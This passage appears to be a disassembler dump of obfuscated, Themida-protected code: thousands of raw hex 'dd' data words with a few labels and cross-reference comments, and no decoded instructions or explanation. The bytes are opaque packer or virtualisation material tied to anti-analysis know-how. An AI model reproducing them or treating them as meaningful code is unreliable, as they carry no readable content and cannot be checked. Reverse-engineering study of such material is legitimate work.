		dd 0BD8B2AF2h, 60705BDh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 5742C7C3h, 1A59D8Bh
		dd 0FF5F0607h, 71E3D95h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 17783EDh, 25B58947h, 8D060707h
		dd 0A93D58Dh, 3DBD8B06h, 0FF06070Dh, 799529D1h,	83060720h
		dd 719BDBDh, 850F0106h,	4Fh, 188D8D89h,	26A0607h, 6C99D8Bh
		dd 0E9900607h, 0Ah, 0EAABBA23h,	0F26F6351h, 0BB50B78Ah
		dd 77A3FEE6h, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 0FF0C9F9Fh, 7079195h, 0D19D8B06h
		dd 0E9060729h, 0E99h
dword_582624	dd 0E8h, 0ED815D00h, 60B5E6Ah, 6830Fh, 9D8B0000h, 6072AC1h
					; DATA XREF: Themida_:0053CC54o
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 52C35040h
		dd 8B665709h, 3F858DDEh, 6A060A84h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0A37BC355h
		dd 4F7A44F6h, 8924341Eh, 7227DBDh, 0FB8B9006h, 810F50h
		dd 90000000h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 14h,	9BC35646h, 0E5C78166h, 35FF645Fh, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0BBC35040h
		dd 77AD4AE1h, 2589647Bh, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 9CC35343h
		dd 2F5985FFh, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 6542C4C3h, 76DE8A23h, 14E8h, 5EC27100h
		dd 0EC553BE8h, 670B1B2h, 1CCDADD8h, 662B4C1Ah, 459D2BB4h
		dd 5B060728h, 6AFF6Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0B5FFCAC3h, 60712B5h, 0FE8h, 14460F00h
		dd 362F96F9h, 8DD03B2h,	2B001F9Ah, 8995FF5Fh, 0E906072Bh
		dd 12Fh, 1831BD8Bh, 0B00607h, 45BD8BF8h, 0E606071Fh, 0A1B58970h
		dd 0E406071Dh, 0FAB70F71h, 830F613Ch, 10Bh, 6013C780h
		dd 0DE953h, 1F9F0000h, 3CBD633Fh, 0D4DB763Eh, 5BE9FA21h
		dd 11E8h, 4CC1B00h, 0F642E7D1h,	56B100E5h, 4ADAE448h, 0B70FFBC8h
		dd 0F6158FFh, 0BD09C8B6h, 60729E9h, 6BAh, 31B7BB00h, 0C18B1ACBh
		dd 0C1F8BF0Fh, 66F904E8h, 8A0FE2F7h, 6,	0F199529h, 0C82B0607h
		dd 0BE8h, 0C1438F00h, 416A08CDh, 3B8311E5h, 8B5FFB8Bh
		dd 0DA8B66D1h, 15E9h, 10E900h, 78750000h, 0ED65AC4Fh, 7BB4A270h
		dd 2D0B45E9h, 858B8E3Ch, 6070745h, 0FE9h, 0C05FB200h, 0E78AC2A5h
		dd 0B24655B5h, 20E33EF3h, 0F07C083h, 0C083FBBFh, 61BD8B00h
		dd 3B060718h, 0C830FD0h, 1000000h, 71D95B5h, 3DE906h, 8BF50000h
		dd 709D98Dh, 8D858906h,	83060711h, 840F01E1h, 27h, 83A9EF80h
		dd 709D9A5h, 0BD8BFE06h, 6072059h, 3718D89h, 95890607h
		dd 6070745h, 15199D8Bh,	0E90607h, 8D000000h, 0ADCF3B5h
		dd 0CA8ABB06h, 6A3FACh,	4C1BD01h, 95FF0607h, 6070D69h
		dd 59823CBBh, 0BE919h, 0EEE00000h, 0F757016h, 0B28925CBh
		dd 0A12B98Ch, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0A9EDD4C3h, 89D128BEh, 718FD85h
		dd 68C0F06h, 9000000h, 702819Dh, 0FCE18306h, 6AFCF8h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0D524ABC3h, 13E9CFA0h, 11000000h, 6817D796h,	0B4DB16DBh
		dd 9ED5E272h, 848D94B0h, 0BD8BC0A2h, 6070CBDh, 1FE58D89h
		dd 0B80607h, 0F000000h,	0D83h, 0D9816000h, 44859A6Ch, 34E38166h
		dd 0D22B61ADh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	80C35242h, 9E2DE5Eh, 0D23F4847h, 0D1BD8BA6h, 0E906071Ah
		dd 13h,	0A3B8E815h, 0F49F975Dh,	14DBB6F9h, 3EA10E7Ch, 8BEE9A81h
		dd 0C233ADFEh, 0D003E8D1h, 7504E983h, 56006AF4h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
		dd 880D2DE3h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0AFC2C355h,	0FF26093h
		dd 288h, 8BCCB700h, 71AD995h, 14E906h, 3E380000h, 0B5485D5Ah
		dd 80893330h, 2B8B5C44h, 0DFEB86F7h, 8D8BC8D1h,	607101Dh
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	6A5818h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0B744E9C3h, 5CFFEC70h, 0BE9F9h, 249C0000h, 0A84B5B4h
		dd 0E810B0DAh, 13E9EDh,	0AC5E0000h, 1A50218Ah, 0D0D2F998h
		dd 0F9B79314h, 0D61715A7h, 29BD83F5h, 6070Eh, 4C840Fh
		dd 0B80000h, 8D000000h,	74B9B8Dh, 319D2306h, 0FF06072Fh
		dd 53006AE1h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0EAD682B6h, 0F1ED6DEh, 688h, 11BD8B00h
		dd 29060713h, 7209D85h,	0CB816606h, 0BD835B92h,	6073305h
		dd 5B840F00h, 6A000004h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0CF9FC357h,	2675C11Bh
		dd 5BD83C7h, 1060733h, 447840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0CB8176C3h
		dd 21B2B603h, 5E9h, 0C861EB00h,	0BD834FD8h, 6073305h, 0D8860F03h
		dd 0E9000003h, 0Bh, 328D82B7h, 1CA8B19Ah, 60ED1127h, 0D98C66F5h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 30C35141h
		dd 23B1979Fh, 70D781F6h, 807C4EF3h, 6A04E1h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 531856C3h
		dd 0FC221182h, 199D89CFh, 66060728h, 0AD2B8BFh,	32840FC9h
		dd 6A000001h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0FDAC353h, 858BD8B7h, 6072A1Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 30C35343h
		dd 2571688Dh, 8B086BB7h, 714A9BDh, 0FD853306h, 0E906071Ah
		dd 5, 0D542D426h, 48950FEh, 52006A24h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 1CB31F83h
		dd 82457640h, 0F1BD8950h, 5F060707h, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0F980B4C3h
		dd 9D8D89AAh, 2906070Dh, 70FD58Dh, 4E806h, 3FF0000h, 890F001Fh
		dd 6, 830Fh, 8B500000h,	24448BF9h, 66008B04h, 890088BFh
		dd 0E8042444h, 0Dh, 0FFB19B41h,	2A4A4C8Bh, 0D08E3F94h
		dd 52525070h, 56310F5Bh, 5B585A5Fh, 52D38158h, 0BB55C536h
		dd 73CE5C12h, 9F995FFh,	0BD8B0607h, 607109Dh, 0ADDF8589h
		dd 9D8B060Ah, 60721D5h,	1C2E9h,	1D9D2300h, 8906071Ah, 732558Dh
		dd 0D7858B06h, 33060AADh, 70C65BDh, 1800C706h, 8B000000h
		dd 0AADDBB5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 424A74CBh, 66FA74BBh, 8B412FBFh
		dd 72BCD85h, 58A0F06h, 66000000h, 4AAEEB81h, 2FD98D89h
		dd 6890607h, 1B49BD8Bh,	858B0607h, 6072A1Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 64C35040h, 1427A904h
		dd 0E9044689h, 13h, 261D9BEDh, 264DD6FFh, 28F1F6Fh, 0EEC8E727h
		dd 96EC866Eh, 28B0Fh, 0DF8B0000h, 0DA8B6650h, 6890F96h
		dd 3000000h, 7123DBDh, 0D7B5FF06h, 6A060AADh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 0C201C353h, 0DF8B66CEh, 4E8FCh, 3FF0000h, 12E8001Fh
		dd 0A3000000h, 0A850FFD0h, 0E8D690B5h, 83C27463h, 680FFCE2h
		dd 0F5250E3h, 14E831h, 0DD4F0000h, 0EC4410FCh, 0E5BD6273h
		dd 35181885h, 567D1CBEh, 5A5FDB6Ch, 60505F58h, 1DD4BE66h
		dd 2820Fh, 61600000h, 24448B61h, 0DABF6604h, 50008B68h
		dd 68A0F52h, 0F000000h,	85h, 50310F00h,	0FC9B352h, 0DE8B6631h
		dd 585A585Ah, 4244489h,	0FD9D8B58h, 8D060710h, 0AADDF85h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 817C9491h, 5DCA7C7h, 0F539051h, 286h, 5F5B5600h
		dd 5B535750h, 8166905Fh, 8BDA0FC3h, 72355BDh, 0F995FF06h
		dd 0F060709h, 286h, 61FB8B00h, 2C999D23h, 85C70607h, 6073305h
		dd 3, 7E9B589h,	0BD830607h
		dd 60AADDFh, 58840F00h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 0BA7FC350h
		dd 88535E4Fh, 4DE9h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 67BC13E1h, 91BD8B16h
		dd 0E906072Dh, 7, 286B9709h, 50F600F4h,	110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 0E8052BC3h
		dd 0Ah,	9E72580Eh, 0C2AECD37h, 81667F85h, 5F431DCFh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 3FC35242h, 83962596h
		dd 592AC196h, 0C2816660h, 8D29D8DEh, 60713B9h, 5BD8361h
		dd 3060733h, 4A1850Fh, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 0B98BBAC3h, 0DC3E627Ah
		dd 39BB66B7h, 83FE8B47h, 0AADDFBDh, 840F0006h, 46Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 75C35141h, 7426501Dh
		dd 0FCED3927h, 0BE9h, 9A207C00h, 98AEC347h, 5A745B2Dh
		dd 26C780FCh, 0ADDFB5FFh, 6A060Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 3B910BC3h, 8B1C1A4Ch
		dd 71F91BDh, 3860F06h, 0F000000h, 95FFF8B7h, 6072129h
		dd 1AD19D8Bh, 0B58B0607h, 60AADD3h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 0D4C35343h,	0C4FB6B08h, 11E8A41Bh
		dd 2C000000h, 0D1F7ACA1h, 3C288310h, 4E8B917Bh,	1F1FBFCDh
		dd 30DBD8Bh, 535F0607h,	0E2D78166h, 6C75BC3h, 10001h, 2B6D9D8Bh
		dd 50960607h, 0CE852h, 0C5770000h, 9C20AEFBh, 8A86646Eh
		dd 6160C3C3h, 5A310F5Bh, 0BB665058h, 8996D7B3h,	70AD5B5h
		dd 0DFB5FF06h, 0FF060AADh, 7025195h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0BDE184BAh
		dd 53DABFA2h, 0D99D89C4h, 8B060711h, 0AADD3B5h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0A7332619h, 12A1858Bh, 0BB660607h, 0BD093656h, 6070551h
		dd 0C48689h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0A9C9CC3h, 0B1526E62h, 69E78166h
		dd 0D9958B4Dh, 0E906071Ah, 11h,	0FA9DC425h, 5478947Dh
		dd 0E79C6712h, 6977DB67h, 4C2832Fh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 96C35747h, 298D09A9h, 60060712h
		dd 8961D88Ah, 81662050h, 8DB80BC3h, 0AC17085h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 0F0B1F8Bh, 48Fh, 68BB6600h, 0E1BD299Ah, 89060722h, 0B886h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 0F9F6CE65h, 6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 341572C3h
		dd 2B5804B5h, 70F0DBDh,	0EF816606h, 0B5FF3273h,	60AADDFh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0A8C35747h
		dd 0DD0458A0h, 73A8AE93h, 0DE85Eh, 0C3D10000h, 0BB0D6C50h
		dd 5FD72E09h, 0E9C8575Fh, 10h, 9D4D570Ah, 9ED98809h, 0E2D7FB2Ch
		dd 0A3E26888h, 9195FF5Fh, 6A060707h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 3437C350h
		dd 5296EAEFh, 5FFE8B66h, 0DE850h, 4B550000h, 0B4972C7Ah
		dd 0F2E02A5Eh, 66A08A25h, 5BE2C4BBh, 119D0196h,	8B060733h
		dd 70F8DBDh, 0DFB5FF06h, 6A060AADh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 0FFF8C350h
		dd 72D0995h, 39BF6606h,	0C1BD83B9h, 60714h, 3F840Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0DF267DC3h, 850100E2h, 6072051h, 0C236BF96h,	0BB506327h
		dd 536A8B4h, 7E996h, 7F850000h,	67CA456Eh, 0DFB5FF44h
		dd 0FF060AADh, 71F9595h, 8A1CBB06h, 0BB661C86h,	0B5FF04C8h
		dd 60AADDFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	0AC35141h, 6BEF80C9h, 2C195FFh,	8B660607h, 65BD83D9h
		dd 2060728h, 8E840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 2730CC3h, 8BF13923h
		dd 72A459Dh, 69858B06h,	6A06070Eh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 7106C353h
		dd 48CD819Bh, 8E6B8D85h, 2C559D8Bh, 0CF810607h,	20A9D8B2h
		dd 6A0000C6h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0C5B5C351h, 7E21B031h,	68F0Fh
		dd 0BD8B0000h, 6070ECDh, 2A5185C7h, 607h, 0E9F90000h, 0FFFFF298h
		dd 3C18BFCh
		db 9Dh,	0B5h, 5
byte_5834BB	db 7			; DATA XREF: Themida_:0053F524o
		dd 0B1858D06h, 89060718h, 7294995h, 5E85006h, 7000000h
		dd 934341A0h, 5FFA8B66h, 6A240489h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 8425C353h
		dd 6A006A7Ah, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0EBAEC355h, 11E947h, 6DAF0000h
		dd 569CA831h, 0BC5DA64Dh, 6CB2A909h, 6A4DC077h,	51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 78E59EB0h, 40A765Fh,	99D8B07h, 8D060703h, 0B6F2A85h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 0D7D639AEh, 8D958957h, 8306071Eh, 6A05C0h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 62FF12C3h, 8E8D5D1h,	4000000h, 82E4B04Eh, 0F9CFF2Ch
		dd 682h, 0C59D8B00h, 5F06070Dh,	66D38166h, 0FE89095h, 35000000h
		dd 8EEFD8E8h, 63558000h, 0E999D493h, 8CBBB05Bh,	5B026B7Ah
		dd 0BF0F9050h, 0F006ADBh, 0B86h, 58C0F00h, 0BB000000h
		dd 5018BF73h, 2B5D9D89h, 6A0607h, 95FFF98Ah, 6071E3Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0BAC35646h
		dd 83E112D6h, 691B509h,	8D8D0607h, 60A93D5h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 93C35747h, 0D19D8B88h
		dd 0FF060729h, 9EA8BBD1h, 9D8B4CCFh, 6071A6Dh, 19BDBD83h
		dd 0F010607h, 7485h, 12E800h, 0E5480000h, 4F88EF62h, 924703BCh
		dd 7AB77EB7h, 81C01BF0h, 21259D8Bh, 6A5F0607h, 6E95002h
		dd 67000000h, 5D96E7E5h, 2404892Ch, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 2C35242h, 4D287ABFh, 10E938h
		dd 6B9C0000h, 1F19F47Fh, 2A493489h, 9BAF1A11h, 0BD8B82D7h
		dd 60702BDh, 79195FFh, 8B660607h, 0C87E9D8h
		db 2 dup(0)
word_5836EE	dw 0E8h			; DATA XREF: Themida_:0053EE20o
		dd 5D000000h, 6F34ED81h, 0BF66060Bh, 8589182Ch,	6072661h
		dd 843F858Dh, 6A060Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 0D95206C3h, 90F523A0h, 50DE8B66h
		dd 90D98B66h, 0D380DE8Ah, 35FF6490h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0ABC35040h
		dd 0A84A3ABEh, 258964h,	0E9000000h, 0Ch, 0D341107Fh, 624605CAh
		dd 7C659512h, 2F5985FFh, 6A0607h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 9D8928C3h, 60711F5h
		dd 8D09FF6Ah, 6070EC5h,	1171B5FFh, 9D330607h, 60719FDh
		dd 2B8995FFh, 11E90607h, 0B7000001h, 8B00B06Eh,	710F99Dh
		dd 0BF70E606h, 3F19D57h, 0BD8B71E4h, 6070761h, 830F613Ch
		dd 0F0h, 0FF88B66h, 0BF66C8B6h,	6BA6CEAh, 89000000h, 70CCD85h
		dd 60C18B06h, 2D459D8Bh, 0FE80607h, 0BE000000h,	3F14CC0Bh
		dd 4D19E20Eh, 6E939D1Fh, 880F5611h, 0
		dd 0E8C1615Fh, 5820F04h, 0BF000000h, 5E8107BFh,	66E2F766h
		dd 2BD0C0BFh, 79B589C8h, 8B06070Ch, 70A699Dh, 33D18B06h
		dd 726599Dh, 0CE906h, 880F0000h, 6, 284D9D8Bh, 858B0607h
		dd 60703C5h, 0BE9h, 546E8C00h, 1CEEC6F8h, 92DA1C8Dh, 5499529h
		dd 0C0830607h, 8DE38007h, 900C083h, 701F98Dh, 0FD03B06h
		dd 0A83h, 42E900h, 81660000h, 8BB693D7h, 70C418Dh, 0F5BD3106h
		dd 83060718h, 840F01E1h, 28h, 1C49E781h, 0A58308ACh, 6070C41h
		dd 950B60FEh, 6072B25h,	61F9BF0Fh, 3C59589h, 81660607h
		dd 0E9CB13EBh, 0
		dd 0E8CAB58Dh, 6A060Ah,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 495B50C3h, 6810F60h, 0F000000h
		dd 8Eh,	2D8D8900h, 61060705h, 95FF006Ah, 6070D69h, 2EFDC381h
		dd 7B91C09h, 6A000008h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 0DF29C352h,	24CFDFBFh
		dd 0FCE18370h, 0FC3BF780h, 0B8FA8B66h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0B3C35141h
		dd 5E13C8Eh, 131E94EBh,	81BD8BD3h, 8B060706h, 719459Dh
		dd 0BA06h, 0BD8B0000h, 6072D35h, 3860Fh, 0C3800000h, 0C233AD1Eh
		dd 0D003E8D1h, 7504E983h, 56006AF4h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 5B9C1B5Ch
		dd 897BCBA5h, 722518Dh,	9D78106h, 6A356692h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 1485C357h, 1EEBF7F6h, 0EEB9D738h, 46DAF381h,	880D4A92h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0E211C353h, 1B9D17B2h,	0FB8B66FFh
		dd 1AD9958Bh, 65B30607h, 8BFE8B66h, 7101D8Dh, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 50768216h, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 53006A58h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 0E511EF21h, 9D6ACCE1h, 0BD89D88Bh, 607292Dh
		dd 0E29BD83h, 0F000607h, 1E84h,	4C16BB00h, 0B823F7h, 81000000h
		dd 99A46CC7h, 9B8D8D4Bh, 8B06074Bh, 7222D9Dh, 83E1FF06h
		dd 73305BDh, 840F0006h,	3A2h, 831B501h,	0BD830607h, 6073305h
		dd 0AA840F01h, 89000003h, 722398Dh, 5BD8306h, 3060733h
		dd 361860Fh, 0BD8B0000h, 6071265h, 0C3BB6660h, 0BDBD8BA9h
		dd 6606072Ah, 6AD98Ch, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 6E8D06C3h, 95387EBh, 72D8DBDh, 10E906h
		dd 0A23D0000h, 0B7418C3Fh, 160A18E7h, 8F3DE6F4h, 6E98D30h
		dd 0B5000000h, 5BEF0B0Fh, 4E1808Eh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 6BC35545h, 299D8B72h, 6606072Ch
		dd 6BA2F381h, 840FC90Ah, 0F1h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 55C35545h, 1D858BF8h, 0E906072Ah
		dd 10h,	0DA0F1E18h, 0B9DD3A83h,	52D90494h, 0A2DA8C02h
		dd 0C8C0Fh, 7E90000h, 0AC000000h, 570C5FCEh, 8533F7EFh
		dd 6071AFDh, 10B9B589h,	0BF500607h, 2BDFF8E6h, 8B240489h
		dd 7048D9Dh, 0BF006A06h, 786AA17Bh, 4C3CB268h, 81DA8B59h
		dd 3F4D2434h, 0BB665953h, 0BD2B7C6Ah, 6070835h,	9F995FFh
		dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0DEDE62C3h, 66ACFA62h, 8501F2B7h,	60712C1h
		dd 0ADDF8589h, 9D01060Ah, 6072C5Dh, 1B3E9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 9B242116h, 6E981B7h,	0F8000000h, 4533ACFDh, 0D7858BFDh
		dd 0E9060AADh, 0Bh, 0A55DF92Dh,	4A14B95Dh, 0C73A2E62h
		dd 1800h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 0DB5D7F4Ah, 0BD89C9F5h, 607206Dh
		dd 0ADDBB58Bh, 0F60060Ah, 0FC52FABFh, 858B615Eh, 6072BCDh
		dd 6A0689F5h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 8BE2C352h, 71E29BDh, 6E906h, 3F4F0000h
		dd 904B9B53h, 2A1D858Bh, 0B70F0607h, 44689D9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 6CC35545h, 62C8BB46h
		dd 80A1E834h, 0E950B1D3h, 0Ch, 3EA26276h, 168FD1Ch, 86A21A52h
		dd 6A243489h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0A0DCC350h, 0B5FF1BCCh, 60AADD7h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0EFC35242h
		dd 0E05416AAh, 0E0CE3468h, 81DF8B83h, 35CB2404h, 0B5897C3Eh
		dd 60710FDh, 0ADDF858Dh, 6A060Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 0A3A4A8C3h, 0D0F10B29h
		dd 5092C93Dh, 0C434BB66h, 8B240489h, 70FCDBDh, 0F995FF06h
		dd 6A060709h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0CE80C350h, 0E1DBBB66h, 1D9D8B61h
		dd 0C7060729h, 7330585h, 306h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 2D03C2F4h
		dd 0B14E6724h, 1FBF6634h, 0DFBD8361h, 60AADh, 15840Fh
		dd 0F510000h, 0E95FFEBFh, 26h, 22E59501h, 0ACBB0607h, 50783A6Ah
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
		dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0B320ABC3h, 7E9A314Fh, 0BE86051h,	67000000h
		dd 1BEA1530h, 0DA0BDC52h, 0F5B9D57h, 89h, 6A5F6100h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 8F16C350h, 0BD83DE8Bh, 6073305h, 26850F03h, 0BB000004h
		dd 1A6B417Bh, 0ADDFBD83h, 0F00060Ah, 41484h, 0DFB5FF00h
		dd 0E9060AADh, 10h, 62A5A04Bh, 20EE422Fh, 0F71171DCh, 0F48C641Ch
		dd 212995FFh, 0F9600607h, 209D9D8Bh, 8B610607h,	0AADD3B5h
		dd 89858906h, 0C7060701h, 1000106h, 68F0F00h, 81000000h
		dd 0EFDDADC7h, 0FE8B9673h, 96D98B50h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 5EC35646h, 0D1B38166h, 0ADDFB5FFh
		dd 6A060Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 2AEBD3C3h, 0FFF563EBh, 7025195h, 68E0F06h
		dd 89000000h, 72161B5h,	0D3B58B06h, 8B060AADh, 712A185h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 9D9E585Ah, 0BDE20A1Ch, 9D89D465h, 60720A5h
		dd 0E3EF8166h, 0C48689F2h, 6A000000h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 2636C357h
		dd 8E3E682h, 0EF816AD0h, 67EF271Ah, 1AD9958Bh, 6A0607h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 42106AC3h, 6DB529B9h, 8306071Fh, 13E804C2h, 26000000h
		dd 2E599ACAh, 0CA7C70A7h, 597D3108h, 635C1C8Fh,	9D8B4B48h
		dd 60710A5h, 0B589605Bh, 6071F35h, 8B27B560h, 727F5BDh
		dd 89616106h, 6A2050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 9A6C2C3h, 72D1185h, 70858D06h, 6A060AC1h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 2D43C357h, 9E97F64h, 0E6000000h, 0BD9B4DDDh
		dd 0C1833724h, 0B88689h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 0AEB3D1C3h, 7AAE3508h
		dd 5E8h, 6A882400h, 0FB8BB6C1h,	0BF006A5Fh, 76365181h
		dd 39CB8166h, 0DFB5FF81h, 66060AADh, 95FFDE8Bh,	6070791h
		dd 2B5D9D8Bh, 66960607h, 501E24BBh, 4890Fh, 0BB660000h
